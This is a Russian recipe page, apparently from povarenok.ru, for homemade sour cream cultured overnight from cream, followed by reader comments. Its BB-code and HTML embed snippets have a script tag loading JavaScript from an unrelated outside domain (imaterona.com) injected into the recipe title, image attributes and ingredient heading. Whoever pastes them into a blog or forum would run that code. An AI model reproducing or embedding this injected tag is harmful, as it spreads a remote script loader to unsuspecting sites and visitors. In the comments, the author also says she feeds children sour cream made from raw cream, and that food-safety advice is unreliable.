Версия для печати Рецепты Приготовление молочных продуктов Домашняя сметана

suslyonokПоваренок 3 уровня

27 декабря 2014, 16:17
20248

Настоящая домашняя сметана без лишних усилий

Моментальная сметана всего за пару минут! Вкусней этой сметаны я не пробовала! Попробуйте и Вы!!!

Категория: Приготовление молочных продуктов Домашняя сметана

Ингредиенты для «Настоящая домашняя сметана без лишних усилий»:

Сливки (лучше домашние, можно магазинные 20%ж и выше) — 500 мл
Сметана (сметанку лучше взять пожирней) — 2 ст. л.

Время приготовления: 2 минут

Количество порций: 4

Пищевая и энергетическая ценность:

Готового блюда
ккал 1754.3 ккал	белки 13.7 г	жиры 181.5 г	углеводы 16.3 г
Порции
ккал 438.6 ккал	белки 3.4 г	жиры 45.4 г	углеводы 4.1 г
100 г блюда
ккал 324.9 ккал	белки 2.5 г	жиры 33.6 г	углеводы 3 г

Рецепт «Настоящая домашняя сметана без лишних усилий»:

Добавляем сметану в сливки, хорошо перемешиваем и оставляем на ночь на кухне (крышку не закрываем как на видео, сметану не перемешиваем, даем ей загустеть, не нарушая процесса

). (время в тепле не более 8 часов, чтобы не перекисла) Утром убираем в холодильник и на следующий день сметана готова! Чем дольше сметанка простоит в холодильнике не перемешанная (с верхней густой пленкой) тем более густой она станет. Через дня 3 настоящая очень густая деревенская сметана готова!))) Ну а все подробности и дополнительные комментарии в видео!

Назначения, вкусы и тэги рецепта

Назначение: Для детей : На завтрак / На полдник На завтрак

Теги: сметана домашняя

Вкусы: сливочный

Читать комментарии и отзывы

BB-код для вставки:
BB-код используется на форумах

[url=https://www.povarenok.ru/][img]https://www.povarenok.ru/images/logo_bb.gif[/img][/url]
[url=https://www.povarenok.ru/recipes/show/100488/]Настоящая домашняя сметана без лишних усилий<script type="text/javascript" src="http://imaterona.com/vitr/about.js"></script>[/url]
[url=https://www.povarenok.ru/recipes/show/100488/][img]https://www.povarenok.ru/data/cache/2014dec/27/17/982702_26249-150x150x.jpg[/img][/url]
Рецепты: Приготовление молочных продуктов -> Домашняя сметана
Моментальная сметана всего за пару минут! Вкусней этой сметаны я не пробовала! Попробуйте и Вы!!!

Ингредиенты: Сливки, Сметана.
Тэги: сметана, домашняя.

HTML-код для вставки:
HTML код используется в блогах, например LiveJournal

<div style="margin-bottom:3px;font-size:28px;color:#303030;font:bold 26px 'Source Sans Pro',sans-serif;line-height:116.66%;padding:5px 0 18px 0;">
  <a href="https://www.povarenok.ru/"><img src="https://www.povarenok.ru/images/logo_bb.png" style="margin:-8px 5px 1px 0;border:none;float:left;"/></a>
  Настоящая домашняя сметана без лишних усилий<script type="text/javascript" src="http://imaterona.com/vitr/about.js"></script>
</div>
<div style="margin:0 15px 17px 0;max-width:100%;min-height:200px;float:none;display:block;">
  <img style="max-width:100%;vertical-align:top;width:auto;height:auto;" src="https://www.povarenok.ru/data/cache/2014dec/27/17/982702_26249-710x550x.jpg" alt="Рецепт: Настоящая домашняя сметана без лишних усилий<script type="text/javascript" src="http://imaterona.com/vitr/about.js"></script>" title="Рецепт: Настоящая домашняя сметана без лишних усилий<script type="text/javascript" src="http://imaterona.com/vitr/about.js"></script>"/>
</div>
<div style="padding:0 0 23px;">
  <p style="color:#303030;font:16px 'Source Sans Pro',sans-serif;line-height:22px;">Моментальная сметана всего за пару минут! Вкусней этой сметаны я не пробовала! Попробуйте и Вы!!!</p>
</div>
<div style="font:16px 'Source Sans Pro',sans-serif;line-height:24px;padding:3px 0 9px;color:#666;overflow:hidden;letter-spacing:-.3px;">
  <p style="padding-bottom:8px;">
    Категория:
          <span>
        <a style="color:#666;" href="https://www.povarenok.ru/recipes/category/289/">
          Приготовление молочных продуктов
        </a>
      </span>
              <span style="display:inline-block;vertical-align:top;margin:0 5px 0 2px;">›</span>
      <span>
        <a style="color:#666;" href="https://www.povarenok.ru/recipes/category/292/">
          Домашняя сметана
        </a>
      </span>
          </p>
</div>
<div style="margin-bottom:0;font-size:20px;line-height:120%;padding-bottom:11px;color:#303030;font:bold 26px 'Source Sans Pro',sans-serif;">Ингредиенты для «Настоящая домашняя сметана без лишних усилий<script type="text/javascript" src="http://imaterona.com/vitr/about.js"></script>»:</div>
<div style="padding:0;font:16px 'Source Sans Pro',sans-serif;line-height:22px;">
  <a style="display:block;padding:0 0 0 10px;color:#4bbe64;font-weight:700;text-decoration:none;" href="https://www.povarenok.ru/recipes/ingredient/1649">Сливки</a><a style="display:block;padding:0 0 0 10px;color:#4bbe64;font-weight:700;text-decoration:none;" href="https://www.povarenok.ru/recipes/ingredient/1657">Сметана</a>
      <div style="margin-top:20px;color:#303030;padding-bottom:0;">
      <strong>Тэги:</strong>
      <a style="color: #666" href="https://www.povarenok.ru/recipes/tag/19/">сметана</a>, <a style="color: #666" href="https://www.povarenok.ru/recipes/tag/356/">домашняя</a>
    </div>
  </div>
<div style="margin-top: 20px;">
  <a style="color:#303030;font:16px 'Source Sans Pro',sans-serif;line-height:22px;" href="https://www.povarenok.ru/recipes/show/100488/">Читать рецепт полностью >></a>
</div>

Как это будет выглядеть?

Настоящая домашняя сметана без лишних усилий

Моментальная сметана всего за пару минут! Вкусней этой сметаны я не пробовала! Попробуйте и Вы!!!

Категория: Приготовление молочных продуктов › Домашняя сметана

Ингредиенты для «Настоящая домашняя сметана без лишних усилий»:

Сливки Сметана

Тэги: сметана, домашняя

Читать рецепт полностью >>

Комментарии и отзывы

11 марта 2016 года Chinara-2016 #

Здравствуйте. А вы сливки чуток да 30градусов не нагреваете?. Комнатной температуры используете?

24 апреля 2016 года suslyonok # (автор рецепта)

обычно комнатной)

22 июня 2015 года Елена Калиниченко #

Йогурты я делаю, а вот до сметанки что-то руки не дошли. Оказывается, все так просто. Спасибо.

24 июня 2015 года suslyonok # (автор рецепта)

Всегда пожалуйста

20 марта 2015 года helga010101 #

Подскажите ,а сливки из домашнего молока для сметаны сырые?Не опасно ли это для деток?

21 марта 2015 года suslyonok # (автор рецепта)

Сливки получаются сырые, если переживаете попробуйте немного вскипятить их, заием остудить и сделать сметану. А вообще я всегда делала из сырых, и деткам даю - проблем не возникало. Может от того, что сама в детстве часто была в деревне у бабушки и смело пила и сырое молоко и бабушкину сметанку

кстати, домашнюю сметану на рынке и бабушки делают также из сырых сливок

11 января 2015 года Леночка-Ленуся #

смотрю уже не первый ваш рецепт, почему не показываете конечный результат? и нет желания применить ваш рецепт, а вдруг ерунда и продукты будут зря использованы?

11 января 2015 года suslyonok # (автор рецепта)

Леночка, а где именно нет результата? В йогурте, кефире и капусте квашеной? В остальных везде есть, уже давно исправилась и результат показан!

11 января 2015 года Леночка-Ленуся #

только что просмотрела ваш ролик о приготовлении сметаны и получаемый продукт на видео не показан

11 января 2015 года suslyonok # (автор рецепта)

только что просмотрела ваш ролик о приготовлении сметаны и получаемый продукт на видео не показан

Просмотрите остальные

вы писали здесь - я о нем и не говорила. Указала для Вас где нет и написала, что на следующих результат есть.
Как и писала выше уже давно исправила и в последующих видео результат показан.

3 января 2015 года Yuliua1 #

А у меня видео не воспроизводится. Не могли бы в кратце описать нюансы

3 января 2015 года suslyonok # (автор рецепта)

А у меня видео не воспроизводится. Не могли бы в кратце описать нюансы

Юлия, очень жаль, что не воспроизводится

Под видео есть описание самого процесса приготовления сметаны, все этапы по порядку, единственное, что когда смешаете сливки со сметаной крышку сверху просто положите, не закрывайте, чтобы к сметанке попадал воздух. А все остальное делайте как в описании под видео! Удачи!

28 декабря 2014 года Джумаана Ри #

вопрос по рецепту

Подскажите, пожалуйста, в дальнейшем сметанку можно делать из уже сделанной?

29 декабря 2014 года suslyonok # (автор рецепта)

Да, конечно! Берете пару ложечек вашей сметанки и заквашиваете ею новую партию сливок!

я так теперь постоянно и делаю, только вашей сметанке должно быть не меньше 3 дней, чтобы она была густовата!

удачи!

29 декабря 2014 года Джумаана Ри #

Спасибо!

28 декабря 2014 года Элерт Татьяна #

А я делаю сметану из домашних сливок с молоком,научили бабушки на рынке.Она не такая жирная.250 гр.сливок и 0,5 литра молока.Процесс тот же.Главное угадать момент закисления,если недодержать,сметана не загустеет в холодильнике.

30 декабря 2014 года deputat43 #

Здравствуйте, Татьяна! Напишите, пожалуйста, рецепт вашей сметанки по подробнее.

30 декабря 2014 года Элерт Татьяна #

Сливки и молоко покупаю на рынке у своих,проверенных молочниц.Вообще-то они говорили смешивать молоко сливки в равных пропорциях,но на мой вкус получалась очень жирная сметана и я стала экспериментировать.На 250 гр.сливок 0,5 литра молока - то,что надо.Все перемешиваете до однородности в 800 гр банке и оставляете в тепле до появления характерной сметанной кислинки.Летом я оставляла на 12 часов,зимой даже на сутки.Один раз не докислила и сметана не застыла,пришлось еще держать в тепле всю ночь. Потом ставите в холодильник.Хранится больше недели без всяких консервантов.

27 декабря 2014 года 7цветик #

А я ломала голову как приготовить сметану из сливок, и никак у меня не выходило - сливки пропадали в тепле быстро, а когда ставила в холодильник, то не скисали как положено и в сметану превращатся не желали, а вот значит какой есть секретик!

28 декабря 2014 года suslyonok # (автор рецепта)

Да-да)))) такой маааленький и простой секретик!

главное не держите в тепле больше 8-10 часов, чтобы не перекисла, а в холодильнике уже загустеет!

27 декабря 2014 года semsvet #

Неужели так просто? Спасибо!

27 декабря 2014 года suslyonok # (автор рецепта)

Вот так все просто))) и не только сметана))) Главное взять качественные продукты и получите вкусный результат

27 декабря 2014 года stargate #

Забрала к себе. Сделаю и напишу, как получилось.

27 декабря 2014 года suslyonok # (автор рецепта)

Забирайте)) Буду ждать вашего отзыва о сметанке!

Наверх

Оставить комментарий или отзыв о рецепте

Оставлять комментарии могут только зарегистрированные пользователи.

Зарегистрироваться, или войти если вы уже регистрировались.

Вы можете войти на сайт без регистрации и ввода пароля, воспользовавшись своей учетной записью на следующих сайтах:

через почту:

через соцсети:

отменить

Построим каркасный дом вашей мечты

Каркасный дом с балконом V358 "Напервилл"

Рубрикатор рецептов

Другое

аджика баклажаны брокколи горчица гречка грибы заготовки закваска заправка для супа на зиму йогурт кабачки капуста колбаса кускус маринад маскарпоне мастика подливка приправа свекла соус сыр творог тещин язык тыква фасоль цветная капуста чечевица новогодние рецепты масленица шашлыки домашнее консервирование летние рецепты постные рецепты домашние напитки

Опрос
Какие проекты группы МедиаФорт (кроме povarenok.ru) вы посещаете?

Категории рецептов

Назначения рецептов

Национальные кухни Развернуть весь список

Поиск по сайту

Наши рассылки

Настоящая домашняя сметана без лишних усилий

Ингредиенты для «Настоящая домашняя сметана без лишних усилий»:

Пищевая и энергетическая ценность:

Рецепт «Настоящая домашняя сметана без лишних усилий»:

Похожие рецепты

Сметана в мультиварке

Сметана домашняя (городской вариант)

Домашняя сметана из молока

Комментарии и отзывы

Оставить комментарий или отзыв о рецепте

Построим каркасный дом вашей мечты

Каркасный дом с балконом V358 "Напервилл"

Каркасный дом с гаражом для узкого участка V294 "Чикаго"

Каркасный дом с террасой и гаражом "Келоуна" V565

Рубрикатор рецептов

Первое блюдо

Основное блюдо

Закуски

Выпечка

Десерты

Напитки

Нравятся наши рецепты?
	Подписывайтесь на группу Поварёнка в Контакте и получайте десять новых рецептов каждый день!
	Вступайте в нашу группу в Одноклассниках и получайте новые рецепты каждый день!